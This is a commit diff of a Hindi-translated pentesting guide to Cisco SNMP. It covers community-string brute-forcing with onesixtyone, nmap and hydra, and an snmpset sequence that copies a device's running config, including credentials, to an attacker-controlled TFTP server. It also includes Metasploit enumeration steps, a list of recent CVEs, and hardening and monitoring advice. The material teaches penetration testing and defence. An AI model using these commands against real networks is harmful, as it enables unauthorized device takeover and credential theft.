Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.

This commit is contained in:
Translator 2025-08-20 10:16:31 +00:00
parent 471b6b8050
commit 6fa225ff89

View File

@ -4,34 +4,92 @@
## Pentesting Cisco Networks
**SNMP** UDP पर कार्य करता है, सामान्य संदेशों के लिए 161/UDP पोर्ट और ट्रैप संदेशों के लिए 162/UDP पोर्ट का उपयोग करता है। यह प्रोटोकॉल समुदाय स्ट्रिंग्स पर निर्भर करता है, जो पासवर्ड के रूप में कार्य करते हैं जो SNMP एजेंटों और सर्वरों के बीच संचार को सक्षम बनाते हैं। ये स्ट्रिंग्स महत्वपूर्ण हैं क्योंकि वे पहुँच स्तरों को निर्धारित करते हैं, विशेष रूप से **पढ़ने के लिए केवल (RO) या पढ़ने-लिखने (RW) अनुमतियाँ**। पेंटेस्टर्स के लिए एक उल्लेखनीय हमले का वेक्टर **समुदाय स्ट्रिंग्स का ब्रूट-फोर्सिंग** है, जिसका उद्देश्य नेटवर्क उपकरणों में घुसपैठ करना है
**SNMP** UDP पर कार्य करता है, सामान्य संदेशों के लिए **161/UDP** और ट्रैप संदेशों के लिए **162/UDP** पोर्ट का उपयोग करता है। यह प्रोटोकॉल *कम्युनिटी स्ट्रिंग्स* पर निर्भर करता है, जो SNMP एजेंटों और प्रबंधकों के बीच संचार को सक्षम करने वाले प्लेनटेक्स्ट "पासवर्ड" के रूप में कार्य करते हैं। ये स्ट्रिंग्स एक्सेस स्तर निर्धारित करती हैं, विशेष रूप से **रीड-ओनली (RO) या रीड-राइट (RW) अनुमतियाँ**
ऐसे ब्रूट-फोर्स हमलों को निष्पादित करने के लिए एक व्यावहारिक उपकरण [**onesixtyone**](https://github.com/trailofbits/onesixtyone) है, जिसे संभावित समुदाय स्ट्रिंग्स की एक सूची और लक्ष्यों के IP पते की आवश्यकता होती है:
एक क्लासिक—फिर भी अत्यंत प्रभावी—हमला वेक्टर है **कम्युनिटी स्ट्रिंग्स का ब्रूट-फोर्स करना** ताकि अनधिकृत उपयोगकर्ता से डिवाइस प्रशासक (RW कम्युनिटी) में उन्नयन किया जा सके। इस कार्य के लिए एक व्यावहारिक उपकरण है [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c communitystrings -i targets
onesixtyone -c community_strings.txt -i targets.txt
```
#### `cisco_config_tftp`
Metasploit ढांचा `cisco_config_tftp` मॉड्यूल को शामिल करता है, जो डिवाइस कॉन्फ़िगरेशन को निकालने की सुविधा प्रदान करता है, जो RW समुदाय स्ट्रिंग प्राप्त करने पर निर्भर करता है। इस ऑपरेशन के लिए आवश्यक पैरामीटर में शामिल हैं:
- RW समुदाय स्ट्रिंग (**COMMUNITY**)
- हमलावर का IP (**LHOST**)
- लक्षित डिवाइस का IP (**RHOSTS**)
- कॉन्फ़िगरेशन फ़ाइलों के लिए गंतव्य पथ (**OUTPUTDIR**)
कॉन्फ़िगरेशन के बाद, यह मॉड्यूल निर्दिष्ट फ़ोल्डर में सीधे डिवाइस सेटिंग्स को डाउनलोड करने की अनुमति देता है।
#### `snmp_enum`
एक और Metasploit मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी इकट्ठा करने में विशेषज्ञता रखता है। यह किसी भी प्रकार की समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित का IP पता आवश्यक है:
अन्य तेज़ विकल्प Nmap NSE स्क्रिप्ट `snmp-brute` या Hydra के SNMP मॉड्यूल हैं:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### SNMP के माध्यम से कॉन्फ़िगरेशन डंप करना (CISCO-CONFIG-COPY-MIB)
यदि आप एक **RW समुदाय** प्राप्त करते हैं, तो आप चल रही कॉन्फ़िगरेशन/स्टार्टअप कॉन्फ़िगरेशन को TFTP/FTP सर्वर पर *CLI एक्सेस के बिना* CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) का दुरुपयोग करके कॉपी कर सकते हैं। दो सामान्य दृष्टिकोण हैं:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
स्क्रिप्ट स्वचालित रूप से कॉपी ऑपरेशन का आयोजन करती है और कॉन्फ़िगरेशन को stdout पर प्रिंट करती है।
2. **मैनुअल `snmpset` अनुक्रम**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
पंक्ति पहचानकर्ता *एक-बार* होते हैं; पांच मिनट के भीतर पुन: उपयोग करने से `inconsistentValue` त्रुटियाँ उत्पन्न होती हैं।
एक बार जब फ़ाइल आपके TFTP सर्वर पर होती है, तो आप क्रेडेंशियल्स (`enable secret`, `username <user> secret`, आदि) की जांच कर सकते हैं या यहां तक कि डिवाइस पर संशोधित कॉन्फ़िगरेशन वापस भेज सकते हैं।
---
### Metasploit goodies
* **`cisco_config_tftp`** TFTP के माध्यम से चल रही कॉन्फ़िगरेशन/स्टार्टअप कॉन्फ़िगरेशन डाउनलोड करता है, उसी MIB का दुरुपयोग करने के बाद।
* **`snmp_enum`** डिवाइस इन्वेंटरी जानकारी, VLANs, इंटरफ़ेस विवरण, ARP तालिकाएँ, आदि एकत्र करता है।
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## हाल की Cisco SNMP कमजोरियाँ (2023 2025)
विक्रेता सलाहों पर नज़र रखना *zero-day-to-n-day* अवसरों को स्कोप करने के लिए उपयोगी है:
| वर्ष | CVE | प्रभावित विशेषता | प्रभाव |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP उपप्रणाली | तैयार किया गया पैकेट IOS/IOS-XE (v1/v2c/v3) पर प्रमाणित *DoS* (रीलोड) की ओर ले जाता है। |
| 2024 | CVE-2024-20373 | IPv4 ACL प्रबंधन | गलत कॉन्फ़िगर की गई **विस्तारित** ACLs चुपचाप *फेल* हो जाती हैं, जब एक मान्य समुदाय/उपयोगकर्ता ज्ञात होता है तो अनधिकृत SNMP पोलिंग की अनुमति देती हैं। |
| 2025 | (कोई CVE नहीं) | SNMPv3 कॉन्फ़िगरेशन प्रतिबंध बायपास | मान्य v3 उपयोगकर्ता उन पते से पोल कर सकता है जिन्हें अस्वीकृत किया जाना चाहिए। |
शोषणीयता अक्सर समुदाय स्ट्रिंग या v3 क्रेडेंशियल्स के स्वामित्व पर निर्भर करती है—यह एक और कारण है कि उन्हें ब्रूट-फोर्स करना प्रासंगिक बना रहता है।
---
## हार्डनिंग और पहचान टिप्स
* एक निश्चित IOS/IOS-XE संस्करण में अपग्रेड करें (ऊपर दिए गए CVE के लिए Cisco सलाह देखें)।
* v1/v2c की तुलना में **SNMPv3** को `authPriv` (SHA-256/AES-256) के साथ प्राथमिकता दें।
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* SNMP को एक प्रबंधन VRF से बाइंड करें और **मानक** संख्या वाले IPv4 ACLs के साथ **सीमित करें** (विस्तारित नामित ACLs जोखिम भरी हैं CVE-2024-20373)।
* **RW समुदायों** को निष्क्रिय करें; यदि संचालन के लिए आवश्यक हो, तो उन्हें ACL और दृश्य के साथ सीमित करें:
`snmp-server community <string> RW 99 view SysView`
* के लिए निगरानी करें:
- UDP/161 स्पाइक्स या अप्रत्याशित स्रोत (SIEM नियम)।
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` घटनाएँ जो आउट-ऑफ-बैंड कॉन्फ़िग परिवर्तन को इंगित करती हैं।
* कुछ DoS वेक्टर को कम करने के लिए **SNMPv3 लॉगिंग** और `snmp-server packetsize 1500` सक्षम करें।
---
## संदर्भ
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- Cisco: *SNMP का उपयोग करके Cisco उपकरणों पर और से कॉन्फ़िगरेशन कॉपी करने के लिए कैसे करें*
- Cisco सुरक्षा सलाह *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}